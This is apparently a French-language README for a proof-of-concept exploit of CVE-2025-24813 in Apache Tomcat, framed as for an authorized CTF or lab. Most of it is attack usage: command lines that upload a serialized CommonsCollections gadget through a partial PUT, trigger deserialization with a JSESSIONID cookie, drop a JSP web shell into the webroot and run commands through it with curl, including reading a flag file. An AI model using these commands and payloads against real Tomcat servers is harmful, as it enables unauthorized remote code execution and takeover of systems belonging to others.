
right payload for java CVE
PoC pour un environnement CTF/lab autorisé. Il exploite CVE-2025-24813 via l'ecriture PUT partielle d'un fichier de session Tomcat, puis declenche la deserialisation avec JSESSIONID.
requestsjava et javac)commons-collections-3.2.1.jar, place dans ce dossierysoserial n'est pas requis.
poc_cve_2025_24813.py: wrapper Python qui automatise generation, upload et trigger.GenerateTomcatSessionPayload.java: genere une session Tomcat valide contenant un gadget CommonsCollections.commons-collections-3.2.1.jar: dependance du gadget.sh.jsp: JSP shell optionnel deploye par --drop-shell.Deposer un JSP shell dans le webroot par defaut /opt/tomcat/webapps/ROOT:
./poc_cve_2025_24813.py http://TARGET:8080 \
--session-id poc24813 \
--drop-shell \
--shell-name sh.jsp
Executer une commande directe sans deposer de shell:
./poc_cve_2025_24813.py http://TARGET:8080 \
--session-id cmd24813 \
--cmd 'id > /opt/tomcat/webapps/ROOT/rce.txt'
Si le webroot est different:
./poc_cve_2025_24813.py http://TARGET:8080 \
--drop-shell \
--webroot /path/to/webroot \
--shell-name sh.jsp
Si le JAR est deplace, indiquer son chemin:
./poc_cve_2025_24813.py http://TARGET:8080 \
--jar /path/to/commons-collections-3.2.1.jar \
--drop-shell
Si --drop-shell reussit:
curl --get --data-urlencode 'cmd=id' http://TARGET:8080/sh.jsp
curl --get --data-urlencode 'cmd=cat /opt/tomcat/user.flg' http://TARGET:8080/sh.jsp
DefaultServlet writable, typiquement readonly=false.PersistentManager et FileStore.commons-collections.Le comportement attendu lors de l'upload est souvent HTTP 409 Conflict sur:
PUT /<session-id>/session
Content-Range: bytes 0-1000/1200
Puis la deserialisation est declenchee avec:
Cookie: JSESSIONID=.<session-id>